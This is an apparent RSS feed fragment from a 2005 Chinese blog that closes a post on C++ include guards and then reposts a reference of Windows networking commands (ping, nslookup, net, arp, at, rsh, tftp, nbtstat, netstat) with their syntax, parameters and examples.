&lt;p&gt;   3). 双重包含卫哨:&lt;br&gt;  在文件头中包括其它头文件时(如：#include &amp;quot;xx.h&amp;quot;)建议也加上包含卫哨:&lt;br&gt;   // test.h文件内容:&lt;br&gt;   #ifndef __XX1_H_&lt;br&gt;   #include &amp;quot;xx1.h&amp;quot;&lt;br&gt;   #endif&lt;br&gt;   #ifndef __XX2_H_&lt;br&gt;   #include &amp;quot;xx2.h&amp;quot;&lt;br&gt;   #endif&lt;br&gt;   ...... &lt;br&gt;  &lt;br&gt;   虽然我们已经在xx.h文件中开头已经加过，但是因为编译器在打开#include文件也&lt;br&gt;   是需要时间的，如果在外部加上包含卫哨，对于很大的工程可以节省更多的编译时间。
&lt;p&gt;  5.待续(还有很多相关的东东，比如不同dll工程之间符号导出问题等等，有空再写)&lt;br&gt;    &lt;br&gt;
&lt;div align=right&gt;&lt;img src="http://bbs.gameres.com/style/snow/image/ok.gif" border=0&gt;flipcode 2004-12-5 14:21:33&lt;/div&gt;&lt;/div&gt;&lt;img src="http://c.services.spaces.live.com/CollectionWebService/c.gif?cid=-8189920746979949719&amp;page=RSS%3a+%e7%bc%96%e8%af%91%e5%99%a8%e5%a4%84%e7%90%86&amp;referrer=" width="1px" height="1px" border="0" alt=""&gt;&lt;img style="position:absolute" alt="" width="0px" height="0px" src="http://c.live.com/c.gif?NC=31263&amp;amp;NA=1149&amp;amp;PI=73329&amp;amp;RF=&amp;amp;DI=3919&amp;amp;PS=85545&amp;amp;TP=flipcode.spaces.live.com&amp;amp;GT1=flipcode"&gt;</description><comments>http://flipcode.spaces.live.com/Blog/cns!8E578E7901A88369!123.entry#comment</comments><guid isPermaLink="true">http://flipcode.spaces.live.com/Blog/cns!8E578E7901A88369!123.entry</guid><pubDate>Fri, 25 Nov 2005 03:20:18 GMT</pubDate><slash:comments>0</slash:comments><msn:type>blogentry</msn:type><live:type>blogentry</live:type><live:typelabel>Blog entry</live:typelabel><wfw:commentRss>http://flipcode.spaces.live.com/blog/cns!8E578E7901A88369!123/comments/feed.rss</wfw:commentRss><wfw:comment>http://flipcode.spaces.live.com/Blog/cns!8E578E7901A88369!123.entry#comment</wfw:comment><dcterms:modified>2005-11-27T05:27:57Z</dcterms:modified></item><item><title>windows网络命令大全</title><link>http://flipcode.spaces.live.com/Blog/cns!8E578E7901A88369!108.entry</link><description>&lt;div&gt;&lt;/div&gt;
&lt;p&gt;[来源:http://spaces.msn.com/members/nirvanawjj/Blog/cns!1pXEgsAdtzKuzmRrcgOJ_1dg!130.entry]
&lt;p&gt;windows网络命令大全
&lt;p&gt;&lt;br&gt;网络命令行操作
&lt;p&gt;Windows 2k/2003 Server&lt;br&gt;1.最基本，最常用的，测试物理网络的&lt;br&gt;ping 192.168.10.88 －t ，参数－t是等待用户去中断测试
&lt;p&gt;2.查看DNS、IP、Mac等&lt;br&gt;A.Win98：winipcfg&lt;br&gt;B.Win2000以上：Ipconfig/all
&lt;p&gt;C.NSLOOKUP：如查看河北的DNS&lt;br&gt;C:\\&amp;gt;nslookup&lt;br&gt;Default Server: ns.hesjptt.net.cn&lt;br&gt;Address: 202.99.160.68&lt;br&gt;&amp;gt;server 202.99.41.2 则将DNS改为了41.2&lt;br&gt;&amp;gt; pop.pcpop.com&lt;br&gt;Server: ns.hesjptt.net.cn&lt;br&gt;Address: 202.99.160.68
&lt;p&gt;Non-authoritative answer:&lt;br&gt;Name: pop.pcpop.com&lt;br&gt;Address: 202.99.160.212
&lt;p&gt;3.网络信使&lt;br&gt;Net send 计算机名/IP|* (广播) 传送内容，注意不能跨网段&lt;br&gt;net stop messenger 停止信使服务，也可以在面板－服务修改&lt;br&gt;net start messenger 开始信使服务
&lt;p&gt;4.探测对方对方计算机名，所在的组、域及当前用户名&lt;br&gt;ping －a IP －t ，只显示NetBios名&lt;br&gt;nbtstat -a 192.168.10.146 比较全的
&lt;p&gt;5.netstat -a 显示出你的计算机当前所开放的所有端口&lt;br&gt;netstat -s -e 比较详细的显示你的网络资料，包括TCP、UDP、ICMP 和 IP的统计等
&lt;p&gt;6.探测arp绑定（动态和静态）列表，显示所有连接了我的计算机，显示对方IP和MAC地址&lt;br&gt;arp -a
&lt;p&gt;7.在代理服务器端&lt;br&gt;捆绑IP和MAC地址，解决局域网内盗用IP：&lt;br&gt;ARP －s 192.168.10.59 00－50－ff－6c－08－75&lt;br&gt;解除网卡的IP与MAC地址的绑定：&lt;br&gt;arp -d 网卡IP
&lt;p&gt;8.在网络邻居上隐藏你的计算机&lt;br&gt;net config server /hidden:yes&lt;br&gt;net config server /hidden:no 则为开启
&lt;p&gt;9.几个net命令&lt;br&gt;A.显示当前工作组服务器列表 net view，当不带选项使用本命令时，它就会显示当前域或网络上的计算机上的列表。&lt;br&gt;比如：查看这个IP上的共享资源，就可以&lt;br&gt;C:\\&amp;gt;net view 192.168.10.8&lt;br&gt;在 192.168.10.8 的共享资源&lt;br&gt;资源共享名 类型 用途 注释&lt;br&gt;--------------------------------------&lt;br&gt;网站服务 Disk&lt;br&gt;命令成功完成。
&lt;p&gt;B.查看计算机上的用户帐号列表 net user&lt;br&gt;C.查看网络链接 net use&lt;br&gt;例如：net use z: &lt;a&gt;\\\\192.168.10.8\\movie&lt;/a&gt; 将这个IP的movie共享目录映射为本地的Z盘
&lt;p&gt;D.记录链接 net session&lt;br&gt;例如：&lt;br&gt;C:\\&amp;gt;net session&lt;br&gt;计算机 用户名 客户类型 打开空闲时间&lt;br&gt;-------------------------------------------------------------------------------&lt;br&gt;&lt;a&gt;\\\\192.168.10.110&lt;/a&gt; ROME Windows 2000 2195 0 00:03:12
&lt;p&gt;&lt;a&gt;\\\\192.168.10.51&lt;/a&gt; ROME Windows 2000 2195 0 00:00:39&lt;br&gt;命令成功完成。
&lt;p&gt;10.路由跟踪命令&lt;br&gt;A.tracert pop.pcpop.com&lt;br&gt;B.pathping pop.pcpop.com 除了显示路由外，还提供325S的分析，计算丢失包的％
&lt;p&gt;11.关于共享安全的几个命令&lt;br&gt;A.查看你机器的共享资源 net share&lt;br&gt;B.手工删除共享&lt;br&gt;net share c$ /d&lt;br&gt;net share d$ /d&lt;br&gt;net share ipc$ /d&lt;br&gt;net share admin$ /d&lt;br&gt;注意$后有空格。&lt;br&gt;C.增加一个共享：&lt;br&gt;c:\\net share mymovie=e:\\downloads\\movie /users:1&lt;br&gt;mymovie 共享成功。&lt;br&gt;同时限制链接用户数为1人。
&lt;p&gt;12.在DOS行下设置静态IP&lt;br&gt;A.设置静态IP&lt;br&gt;CMD&lt;br&gt;netsh&lt;br&gt;netsh&amp;gt;int&lt;br&gt;interface&amp;gt;ip&lt;br&gt;interface ip&amp;gt;set add &amp;quot;本地链接&amp;quot; static IP地址 mask gateway&lt;br&gt;B.查看IP设置&lt;br&gt;interface ip&amp;gt;show address
&lt;p&gt;Arp&lt;br&gt;显示和修改“地址解析协议 (ARP)”缓存中的项目。ARP 缓存中包含一个或多个表，它们用于存储 IP 地址及其经过解析的以太网或令牌环物理地址。计算机上安装的每一个以太网或令牌环网络适配器都有自己单独的表。如果在没有参数的情况下使用，则 arp 命令将显示帮助信息。
&lt;p&gt;语法&lt;br&gt;arp [-a [InetAddr] [-N IfaceAddr] [-g [InetAddr] [-N IfaceAddr] [-d InetAddr [IfaceAddr] [-s InetAddr EtherAddr [IfaceAddr]
&lt;p&gt;参数&lt;br&gt;-a [InetAddr] [-N IfaceAddr]&lt;br&gt;显示所有接口的当前 ARP 缓存表。要显示指定 IP 地址的 ARP 缓存项，请使用带有 InetAddr 参数的 arp -a，此处的 InetAddr 代表指定的 IP 地址。要显示指定接口的 ARP 缓存表，请使用 -N IfaceAddr 参数，此处的 IfaceAddr 代表分配给指定接口的 IP 地址。-N 参数区分大小写。&lt;br&gt;-g [InetAddr] [-N IfaceAddr]&lt;br&gt;与 -a 相同。&lt;br&gt;-d InetAddr [IfaceAddr]&lt;br&gt;删除指定的 IP 地址项，此处的 InetAddr 代表 IP 地址。对于指定的接口，要删除表中的某项，请使用 IfaceAddr 参数，此处的 IfaceAddr 代表分配给该接口的 IP 地址。要删除所有项，请使用星号 通配符代替 InetAddr。&lt;br&gt;-s InetAddr EtherAddr [IfaceAddr]&lt;br&gt;向 ARP 缓存添加可将 IP 地址 InetAddr 解析成物理地址 EtherAddr 的静态项。要向指定接口的表添加静态 ARP 缓存项，请使用 IfaceAddr 参数，此处的 IfaceAddr 代表分配给该接口的 IP 地址。&lt;br&gt;/?&lt;br&gt;在命令提示符显示帮助。&lt;br&gt;注释&lt;br&gt;InetAddr 和 IfaceAddr 的 IP 地址用带圆点的十进制记数法表示。&lt;br&gt;物理地址 EtherAddr 由六个字节组成，这些字节用十六进制记数法表示并且用连字符隔开（比如，00-AA-00-4F-2A-9C）。&lt;br&gt;通过 -s 参数添加的项属于静态项，它们不会 ARP 缓存中超时。如果终止 TCP/IP 协议后再启动，这些项会被删除。要创建永久的静态 ARP 缓存项，请在批处理文件中使用适当的 arp 命令并通过“计划任务程序”在启动时运行该批处理文件。&lt;br&gt;只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时，该命令才可用。&lt;br&gt;范例&lt;br&gt;要显示所有接口的 ARP 缓存表，可键入：
&lt;p&gt;arp -a
&lt;p&gt;对于指派的 IP 地址为 10.0.0.99 的接口，要显示其 ARP 缓存表，可键入：
&lt;p&gt;arp -a -N 10.0.0.99
&lt;p&gt;要添加将 IP 地址 10.0.0.80 解析成物理地址 00-AA-00-4F-2A-9C 的静态 ARP 缓存项，可键入：
&lt;p&gt;arp -s 10.0.0.80 00-AA-00-4F-2A-9C
&lt;p&gt;At&lt;br&gt;计划在指定时间和日期在计算机上运行命令和程序。at 命令只能在“计划”服务运行时使用。如果在没有参数的情况下使用，则 at 列出已计划的命令。
&lt;p&gt;语法&lt;br&gt;at [\\\\ComputerName] [{[ID] [/delete]|/delete [/yes]}]
&lt;p&gt;at [\\\\ComputerName] hours:minutes [/interactive] [{/everyate[,...]|/nextate[,...]}] command]
&lt;p&gt;参数&lt;br&gt;&lt;a&gt;\\\\computername&lt;/a&gt;&lt;br&gt;指定远程计算机。如果省略该参数，则 at 计划本地计算机上的命令和程序。&lt;br&gt;ID&lt;br&gt;指定指派给已计划命令的识别码。&lt;br&gt;/delete&lt;br&gt;取消已计划的命令。如果省略了 ID，则计算机中所有已计划的命令将被取消。&lt;br&gt;/yes&lt;br&gt;删除已计划的事件时，对来自系统的所有询问都回答“是”。&lt;br&gt;hours:minutes&lt;br&gt;指定命令运行的时间。该时间用 24 小时制（即从 00:00 [午夜] 到 23:59）的 小时: 分钟格式表示。&lt;br&gt;/interactive&lt;br&gt;对于在运行 command 时登录的用户,允许 command 与该用户的桌面进行交互。&lt;br&gt;/every:&lt;br&gt;在每个星期或月的指定日期（例如，每个星期四，或每月的第三天）运行 command 命令。&lt;br&gt;date&lt;br&gt;指定运行命令的日期。可以指定一周的某日或多日（即，键入 M、T、W、Th、F、S、Su）或一个?械哪橙栈蚨嗳眨矗氪?1 到31 之间的数字）。用逗号分隔多个日期项。如果省略了 date，则 at 使用该月的当前日。&lt;br&gt;/next:&lt;br&gt;在下一个指定日期（比如，下一个星期四）到来时运行 command。&lt;br&gt;command&lt;br&gt;指定要运行的 Windows 命令、程序（.exe 或 .com 文件）或批处理程序（.bat 或 .cmd 文件）。当命令需要路径作为参数时，请使用绝对路径，也就是从驱动器号开始的整个路径。如果命令在远程计算机上，请指定服务器和共享名的通用命名协定 (UNC) 符号，而不是远程驱动器号。&lt;br&gt;/?&lt;br&gt;在命令提示符显示帮助。&lt;br&gt;注释&lt;br&gt;Schtasks 是功能更为强大的超集命令行计划工具，它含有 at 命令行工具中的所有功能。对于所有的命令行计划任务，都可以使用 schtasks 来替代 at。有关 schtasks 的详细信息，请参阅“相关主题”。
&lt;p&gt;使用 at&lt;br&gt;使用 at 命令时，要求您必须是本地 Administrators 组的成员。
&lt;p&gt;加载 Cmd.exe&lt;br&gt;在运行命令之前，At 不会自动加载 Cmd.exe （命令解释器）。如果没有运行可执行文件 (.exe)，则在命令开头必须使用如下所示的方法专门加载 Cmd.exe：
&lt;p&gt;cmd /c dir &amp;gt; c:\\test.out。
&lt;p&gt;查看已计划的命令&lt;br&gt;当不带命令行选项使用 at 时，计划任务会出现在类似于以下格式的表中：
&lt;p&gt;Status ID Day Time Command Line&lt;br&gt;OK 1 Each F 4:30 PM net send group leads status due&lt;br&gt;OK 2 Each M 12:00 AM chkstor &amp;gt; check.file&lt;br&gt;OK 3 Each F 11:59 PM backup2.bat&lt;br&gt;包含标识号 (ID)&lt;br&gt;当在命令提示下使用带有标识号 (ID) 的 at 命令时，单个任务项的信息会显示在类似于下面的格式中：
&lt;p&gt;Task ID： 1
&lt;p&gt;Status:OK
&lt;p&gt;Schedule:Each F
&lt;p&gt;Time of Day:4:30 PM
&lt;p&gt;Command:net send group leads status due当计划带有 at 的命令（尤其是带有命令行选项的命令）后，要通过键入不带命令行选项的 at 来检查该命令语法是否输入正确。如果显示在“命令行”列中的信息不正确，请删除该命令，然后重新键入它。如果还不正确，则可以在重新键入该命令时让它少带些命令行选项。
&lt;p&gt;查看结果&lt;br&gt;使用 at 的已经计划的命令作为后台程序运行。运行结果不会显示在计算机上。要将输出重定向到文件，请使用重定向符号 (&amp;gt;。如果将输出重定向到文件，则不论是在命令行还是在批处理文件中使用 at，都需要在重定向符号之前使用转义符 。例如，要重定向输出到 Output.text 文件，则要键入：
&lt;p&gt;at 14:45 c:\\test.bat ^&amp;gt;c:\\output.txt
&lt;p&gt;执行命令的当前目录为 systemroot 文件夹。
&lt;p&gt;更改系统时间&lt;br&gt;在使用 at 命令计划了要运行的命令之后，如果更改了计算机的系统时间，则通过键入不带命令行选项的 at 可使 at 计划程序与修改后的系统时间同步。
&lt;p&gt;存储命令&lt;br&gt;已计划的命令存储在注册表中。这样，如果重新启动“计划”服务，则不会丢失计划任务。
&lt;p&gt;连接到网络驱动器&lt;br&gt;对于需要访问网络的计划作业，请不要使用已重新定向的驱动器。“计划”服务可能无法访问这些重定向的驱动器，或者，在该计划任务运行时如果有其他用户登录，则这些重定向的驱动器可能不会出现。因此，对于计划作业，请使用 UNC 路径。例如：
&lt;p&gt;at 1:00pm my_backup &lt;a&gt;\\\\server\\share&lt;/a&gt;
&lt;p&gt;请不要使用下述语法（其中 x: ?表示由用户建立的连接）：
&lt;p&gt;at 1:00pm my_backup x:
&lt;p&gt;如果计划了一个使用驱动器号的 at 命令来连接共享目录，则应包含一个 at 命令以使在完成该驱动器的使用时断开与驱动器的连接。如果不能断开与驱动器的连接，则在命令提示下，所指派的驱动器号将不可用。
&lt;p&gt;范例&lt;br&gt;要显示 Marketing 服务器上已计划的命令列表，请键入：
&lt;p&gt;at &lt;a&gt;\\\\marketing&lt;/a&gt;&lt;br&gt;要了解服务器 Corp 上标识号为 3 的命令的详细信息，请键入：
&lt;p&gt;at &lt;a&gt;\\\\corp&lt;/a&gt; 3&lt;br&gt;要计划在上午 8:00 于 Corp 服务器上运行网络共享命令，并将该列表重定向到 Maintenance 服务器的 Corp.txt 文件（位于 Reports 共享目录下）中，请键入：
&lt;p&gt;at &lt;a&gt;\\\\corp&lt;/a&gt; 08:00 cmd /c &amp;quot;net share reports=d:\\marketing\\reports &amp;gt;&amp;gt; &lt;a&gt;\\\\maintenance\\reports\\corp.txt&lt;/a&gt;&amp;quot;&lt;br&gt;为了在每五天后的午夜将 Marketing 服务器的硬盘驱动器备份到磁带驱动器，首先创建名为 Archive.cmd 的批处理程序（它含有备份命令），然后计划该批处理程序的运行，为此请键入：
&lt;p&gt;at &lt;a&gt;\\\\marketing&lt;/a&gt; 00:00 /every:5,10,15,20,25,30 archive&lt;br&gt;要取消当前服务器上已计划的所有命令，请按下述方法清除 at 计划信息：
&lt;p&gt;at /delete&lt;br&gt;如果要运行的命令不是可执行 (.exe) 文件，请按如下所示的方法在该命令之前使用 cmd /c 来加载 Cmd.exe：
&lt;p&gt;cmd /c dir &amp;gt; c:\\test.out。&lt;br&gt;Rsh&lt;br&gt;在运行 RSH 服务的远程计算机上运行命令。Windows XP 和 Windows 2000 不提供 RSH 服务。Windows 2000 Server Resource Kit 提供名为 Rshsvc.exe 的 RSH 服务。使用不带参数的 rsh 显示帮助。
&lt;p&gt;语法&lt;br&gt;rsh [Host] [-l UserName] [-n] [Command]
&lt;p&gt;参数&lt;br&gt;Host&lt;br&gt;指定运行 command 的远程计算机。&lt;br&gt;-l UserName&lt;br&gt;指定远程计算机上使用的用户名。在省略情况下，使用当前登录用户的名称。&lt;br&gt;-n&lt;br&gt;将 rsh 的输入重定向到 NULL 设备。这防止本地计算机命令结果的显示。&lt;br&gt;Command&lt;br&gt;指定要运行的命令。&lt;br&gt;/?&lt;br&gt;在命令提示符显示帮助。&lt;br&gt;注释&lt;br&gt;标准*作&lt;br&gt;rsh 命令将标准输入复制到远程 command，将远程 command 的标准输出复制到其标准输出，将远程 command 的标准错误复制到其标准错误。Rsh 通常在远程命令终止时终止。
&lt;p&gt;使用重定向符号&lt;br&gt;为了使重定向在远程计算机上发生，要以引号引住重定向符号（例如 &amp;quot;&amp;gt;&amp;gt;&amp;quot;）。如果不使用引号，重定向会在本地计算机发生。例如，以下命令将远程文件“RemoteFile”附加到本地文件“LocalFile”中：
&lt;p&gt;rsh othercomputer cat remotefile &amp;gt;&amp;gt; localfile
&lt;p&gt;以下命令将远程文件 Remotefile 附加到远程文件 otherremotefile 中：
&lt;p&gt;rsh othercomputer cat remotefile &amp;quot;&amp;gt;&amp;gt;&amp;quot; otherremotefile
&lt;p&gt;使用 rsh&lt;br&gt;在使用已登录到某个域并且运行 Windows XP Professional 的计算机时，该域的主域控制器必须可用于确认用户名或 rsh 命令失败。
&lt;p&gt;.rhosts 文件&lt;br&gt;.rhosts 文件通常许可 UNIX 系统的网络访问权限。.rhosts 文件列出可以访问远程计算机的计算机名及关联的登录名。在正确配置了 .rhosts 文件的远程计算机上运行 rcp、rexec 或 rsh 命令时，您不必提供远程计算机的登录和密码信息。
&lt;p&gt;.rhosts 文件是一个文本文件，该文件中每一行为一个条目。条目由本地计算机名、本地用户名和有关该条目的所有注释组成。每个条目均由制表符或空格分开，注释用符号 (#) 打头。例如：
&lt;p&gt;host7 #This computer is in room 31A
&lt;p&gt;.rhosts 文件必须在远程计算机的用户主目录中。有关远程计算机 .rhosts 文件特定执行的详细信息，请参阅远程系统的文档。
&lt;p&gt;只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时，该命令才可用。&lt;br&gt;范例&lt;br&gt;要以名称 admin1 在远程计算机 vax1 上执行 telcon 命令，请键入：
&lt;p&gt;rsh vax1 -l admin1 telcon
&lt;p&gt;Tftp&lt;br&gt;向运行平凡文件传输协议 (TFTP) 服务或 daemon 的远程计算机（尤其是运行 UNIX 的计算机）传输文件或从运行平凡文件传输协议 (TFTP) 服务或 daemon 的远程计算机（尤其是运行 UNIX 的计算机）传输文件。
&lt;p&gt;语法&lt;br&gt;tftp [-i] [Host] [{get | put}] [Source] [Destination]
&lt;p&gt;参数&lt;br&gt;-i&lt;br&gt;指定二进制图像传送模式（也称为八进制模式）。在二进制图像模式下，文件以一个字节为单位进行传输。在传送二进制文件时使用该模式。如果省略了 -i，文件将以 ASCII 模式传送。这是默认的传送模式。该模式将行尾 (EOL) 字符转换为指定计算机的适当格式。传送文本文件时使用该模式。如果文件传送成功，将显示数据传输率。&lt;br&gt;Host&lt;br&gt;指定本地或远程计算机。&lt;br&gt;put&lt;br&gt;将本地计算机上的 Destination 文件传送到远程计算机上的 Source 文件。因为 TFTP 协议不支持用户身份验证，所以用户必须登录到远程计算机，同时文件在远程计算机上必须可写。&lt;br&gt;get&lt;br&gt;将远程计算机上的 Destination 文件传送到本地计算机上的 Source 文件。&lt;br&gt;Source&lt;br&gt;指定要传送的文件。&lt;br&gt;Destination&lt;br&gt;指定将文件传送到的位置。如果省略了 Destination，将假定它与 Source 同名。&lt;br&gt;/?&lt;br&gt;在命令提示符显示帮助。&lt;br&gt;注释&lt;br&gt;使用 get 参数&lt;br&gt;如果将本地计算机上的文件 FileTwo 传送到远程计算机上的文件 FileOne，则指定 put。如果将远程计算机上的文件 FileTwo 传送到远程计算机上的文件 FileOne，则指定 get。
&lt;p&gt;Windows XP 或 Windows 2000 不提供一般用途的 TFTP 服务器。Windows 2000 提供的 TFTP 服务器服务只为 Windows XP 和 Windows 2000 客户端计算机提供远程引导功能。&lt;br&gt;只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时，该命令才可用。&lt;br&gt;范例&lt;br&gt;要从本地计算机将文件 Users.txt 传送到远程计算机 vax1 上的 Users19.txt，请键入：
&lt;p&gt;tftp vax1 put users.txt users19.txt&lt;br&gt;Nbtstat&lt;br&gt;显示本地计算机和远程计算机的基于 TCP/IP (NetBT) 协议的 NetBIOS 统计资料、NetBIOS 名称表和 NetBIOS 名称缓存。Nbtstat 可以刷新 NetBIOS 名称缓存和注册的 Windows Internet 名称服务 (WINS) 名称。使用不带参数的 nbtstat 显示帮助。
&lt;p&gt;语法&lt;br&gt;nbtstat [-a RemoteName] [-A IPAddress] [-c] [-n] [-r] [-R] [-RR] [-s] [-S] [Interval]
&lt;p&gt;参数&lt;br&gt;-a remotename&lt;br&gt;显示远程计算机的 NetBIOS 名称表，其中，RemoteName 是远程计算机的 NetBIOS 计算机名称。NetBIOS 名称表是运行在该计算机上的应用程序使用的 NetBIOS 名称列表。&lt;br&gt;-A IPAddress&lt;br&gt;显示远程计算机的 NetBIOS 名称表，其名称由远程计算机的 IP 地址指定（以小数点分隔）。&lt;br&gt;-c&lt;br&gt;显示 NetBIOS 名称缓存内容、NetBIOS 名称表及其解析的各个地址。&lt;br&gt;-n&lt;br&gt;显示本地计算机的 NetBIOS 名称表。Registered 中的状态表明该名称是通过广播或 WINS 服务器注册的。&lt;br&gt;-r&lt;br&gt;显示 NetBIOS 名称解析统计资料。在配置为使用 WINS 的 Windows XP 计算机上，该参数将返回已通过广播和 WINS 解析和注册的名称号码。&lt;br&gt;-R&lt;br&gt;清除 NetBIOS 名称缓存的内容并从 Lmhosts 文件中重新加载带有 #PRE 标记的项目。&lt;br&gt;-RR&lt;br&gt;重新释放并刷新通过 WINS 注册的本地计算机的 NetBIOS 名称。&lt;br&gt;-s&lt;br&gt;显示 NetBIOS 客户和服务器会话，并试图将目标 IP 地址转化为名称。&lt;br&gt;-S&lt;br&gt;显示 NetBIOS 客户和服务器会话，只通过 IP 地址列出远程计算机。&lt;br&gt;Interval&lt;br&gt;重新显示选择的统计资料，可以中断每个显示之间的 Interval 中指定的秒数。按 CTRL+C 停止重新显示统计信息。如果省略该参数， netstat 将只显示一次当前的配置信息。&lt;br&gt;/?&lt;br&gt;在命令提示符显示帮助。&lt;br&gt;注释&lt;br&gt;Nbtstat 命令行参数区分大小写。&lt;br&gt;下表列出了由 Nbtstat 生成的列标题。 标题 说明&lt;br&gt;Input 接收的字节数。&lt;br&gt;Output 发送的字节数。&lt;br&gt;In/Out 该连接是否从计算机（传出）或者其他计算机到本地计算机（传入）。&lt;br&gt;Lift 名称表缓存项在被清除之前所存留的时间。&lt;br&gt;Local Name 本地 NetBIOS 名称与连接相关联。&lt;br&gt;Remote Host 与远程计算机相关的名称或 IP 地址。&lt;br&gt;&amp;lt;03&amp;gt; 转化为十六进制的 NetBIOS 名称的最后一个字节。每个 NetBIOS 名称长度均为 16 个字符。由于最后一个字节通常有特殊的意义，因为相同的名称（只有最后一个字节不同）可能在一台计算机上出现几次。例如，&amp;lt;20&amp;gt; 在 ASCII 文本中是一个空格。&lt;br&gt;Type 名称类型。名称可以是单个名称，也可以是组名称。&lt;br&gt;Status 远程计算机上是否在运行 NetBIOS 服务（“已注册”），或同一计算机名是否已注册了相同的服务（“冲突”）。&lt;br&gt;State NetBIOS 连接的状态。
&lt;p&gt;下表列出了可能的 NetBIOS 连接状态。 状态 说明&lt;br&gt;已连接 会话已建立。&lt;br&gt;关联 连接的终结点已经被创建并与 IP 地址关联。&lt;br&gt;正接听 该终结点对内向连接可用。&lt;br&gt;空闲 该结束点已被打开单不能接收连接。&lt;br&gt;正在连接 会话处于连接阶段。在此阶段正在解析所选目标的由名称到 IP 地址的映射。&lt;br&gt;接受 入站会话当前正在被接受，将在短期内连接。&lt;br&gt;重新连接 会话将试图重新连接（如果第一次连接失败）。&lt;br&gt;出站 会话正处于连接阶段。此阶段正在创建 TCP 连接。&lt;br&gt;入站 入站会话在连接期。&lt;br&gt;正在断开 会话正在断开连接。&lt;br&gt;已中断连接 本地计算机已断开连接，并正等待远程系统的确认。
&lt;p&gt;只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时，该命令才可用。&lt;br&gt;范例&lt;br&gt;要显示 NetBIOS 计算机名为 CORP07 的远程计算机的 NetBIOS 名称表，请键入：
&lt;p&gt;nbtstat -a CORP07
&lt;p&gt;要显示所分配 IP 地址为 10.0.0.99 的远程计算机的 NetBIOS 名称表，请键入：
&lt;p&gt;nbtstat -A 10.0.0.99
&lt;p&gt;要显示本地计算机的 NetBIOS 名称表，请键入：
&lt;p&gt;nbtstat -n
&lt;p&gt;要显示本地计算机 NetBIOS 名称缓存的内容，请键入：
&lt;p&gt;nbtstat -c
&lt;p&gt;要清除 NetBIOS 名称缓存并重新装载本地 Lmhosts 文件中带标记 #PRE 的项目，请键入：
&lt;p&gt;nbtstat -R
&lt;p&gt;要释放通过 WINS 服务器注册的 NetBIOS 名称并对其重新注册，请键入：
&lt;p&gt;nbtstat -RR
&lt;p&gt;要每隔 5 秒以 IP 地址显示 NetBIOS 会话统计资料，请键入：
&lt;p&gt;nbtstat -S 5
&lt;p&gt;Netstat&lt;br&gt;显示活动的 TCP 连接、计算机侦听的端口、以太网统计信息、IP 路由表、IPv4 统计信息（对于 IP、ICMP、TCP 和 UDP 协议）以及 IPv6 统计信息（对于 IPv6、ICMPv6、通过 IPv6 的 TCP 以及通过 IPv6 的 UDP 协议）。使用时如果不带参数，netstat 显示活动的 TCP 连接。
&lt;p&gt;语法&lt;br&gt;netstat [-a] [-e] [-n] [-o] [-p Protocol] [-r] [-s] [Interval]
&lt;p&gt;参数&lt;br&gt;-a&lt;br&gt;显示所有活动的 TCP 连接以及计算机侦听的 TCP 和 UDP 端口。&lt;br&gt;-e&lt;br&gt;显示以太网统计信息，如发送和接收的字节数、数据包数。该参数可以与 -s 结合使用。&lt;br&gt;-n&lt;br&gt;显示活动的 TCP 连接，不过，只以数字形式表现地址和端口号，却不尝试确定名称。&lt;br&gt;-o&lt;br&gt;显示活动的 TCP 连接并包括每个连接的进程 ID (PID)。可以在 Windows 任务管理器中的“进程”选项卡上找到基于 PID 的应用程序。该参数可以与 -a、-n 和 -p 结合使用。&lt;br&gt;-p Protocol&lt;br&gt;显示 Protocol 所指定的协议的连接。在这种情况下，Protocol 可以是 tcp、udp、tcpv6 或 udpv6。如果该参数与 -s 一起使用按协议显示统计信息，则 Protocol 可以是 tcp、udp、icmp、ip、tcpv6、udpv6、icmpv6 或 ipv6。&lt;br&gt;-s&lt;br&gt;按协议显示统计信息。默认情况下，显示 TCP、UDP、ICMP 和 IP 协议的统计信息。如果安装了 Windows XP 的 IPv6 协议，就会显示有关 IPv6 上的 TCP、IPv6 上的 UDP、ICMPv6 和 IPv6 协议的统计信息。可以使用 -p 参数指定协议集。&lt;br&gt;-r&lt;br&gt;显示 IP 路由表的内容。该参数与 route print 命令等价。&lt;br&gt;Interval&lt;br&gt;每隔 Interval 秒重新显示一次选定的信息。按 CTRL+C 停止重新显示统计信息。如果省略该参数，netstat 将只打印一次选定的信息。&lt;br&gt;/?&lt;br&gt;在命令提示符显示帮助。&lt;br&gt;注释&lt;br&gt;与该命令一起使用的参数必须以连字符 (-) 而不是以短斜线 (/) 作为前缀。&lt;br&gt;Netstat 提供下列统计信息：&lt;br&gt;Proto&lt;br&gt;协议的名称（TCP 或 UDP）。
&lt;p&gt;Local Address&lt;br&gt;本地计算机的 IP 地址和正在使用的端口号。如果不指定 -n 参数，就显示与 IP 地址和端口的名称对应的本地计算机名称。如果端口尚未建立，端口以星号（*）显示。
&lt;p&gt;Foreign Address&lt;br&gt;连接该插槽的远程计算机的 IP 地址和端口号码。如果不指定 -n 参数，就显示与 IP 地址和端口对应的名称。如果端口尚未建立，端口以星号（*）显示。
&lt;p&gt;(state)&lt;br&gt;表明 TCP 连接的状态。可能的状态如下：
&lt;p&gt;CLOSE_WAIT
&lt;p&gt;CLOSED
&lt;p&gt;ESTABLISHED
&lt;p&gt;FIN_WAIT_1
&lt;p&gt;FIN_WAIT_2
&lt;p&gt;LAST_ACK
&lt;p&gt;LISTEN
&lt;p&gt;SYN_RECEIVED
&lt;p&gt;SYN_SEND
&lt;p&gt;TIMED_WAIT
&lt;p&gt;有关 TCP 连接状态的信息，请参阅 RFC 793。
&lt;p&gt;只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时，该命令才可用。&lt;br&gt;范例&lt;br&gt;要想显示以太网统计信息和所有协议的统计信息，请键入下列命令：
&lt;p&gt;netstat -e -s
&lt;p&gt;要想仅显示 TCP 和 UDP 协议的统计信息，请键入下列命令：
&lt;p&gt;netstat -s -p tcp udp
&lt;p&gt;要想每 5 秒钟显示一次活动的 TCP 连接和进程 ID，请键入下列命令：
&lt;p&gt;nbtstat -o 5
&lt;p&gt;要想以数字形式显示活动的 TCP 连接和进程 ID，请键入下列命令：
&lt;p&gt;nbtstat -n –o
&lt;p&gt;Runas&lt;br&gt;允许用户用其他权限运行指定的工具和程序，而不是用户当前登录提供的权限。
